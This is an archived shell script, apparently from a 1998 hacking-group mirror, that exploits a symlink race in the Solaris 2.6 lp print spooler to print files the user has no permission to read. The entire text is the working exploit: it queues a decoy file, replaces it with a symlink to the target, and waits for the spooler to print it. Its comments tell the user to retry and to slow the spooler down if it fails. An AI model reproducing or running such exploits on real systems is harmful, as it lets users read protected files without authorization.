home *** CD-ROM | disk | FTP | other *** search
- #!/bin/sh
- #
- #Print unreadable files on solaris2.6
- #sili@l0pht.com
- #
- # --If it didn't work, change $BIGFILE to
- # something bigger.
- #
- # --Script usually works 80% of the time..
- # Didn't work? Try again.. Throw something
- # at the printspooler to slow it down.
- #
-
- TMPFILE="./.dmlr"
- BIGFILE="/usr/lib/libc.so.1"
-
- if [ $# != 1 ]; then
- echo "Usage:"
- echo
- echo "./sol26lp <file>"
- echo
- echo "Print unreadable files on Solaris2.6"
- echo " ----sili@l0pht.com"
- exit 1
- fi
-
- echo "Need a large file to print, using $BIGFILE."
- cp /usr/bin/vi $TMPFILE ; chmod 700 $TMPFILE
- lp $TMPFILE ;
- #sleep 1;
-
- rm $TMPFILE ; ln -s $1 $TMPFILE
-
- QF=`ls -al /var/spool/print |grep $TMPFILE |awk '{print $9}'`
-
- echo "Queue File: /var/spool/print/$QF"
-
- while [ -h /var/spool/print/$QF ]; do
- echo "Waiting for file to print";
- sleep 1;
- done
-
- echo "File printed. Erasing temp files."
- rm $TMPFILE
-
- echo "Done."
- echo
- echo " --sili@l0pht.com 1/20/98"
-
- # www.hack.co.za [2000]#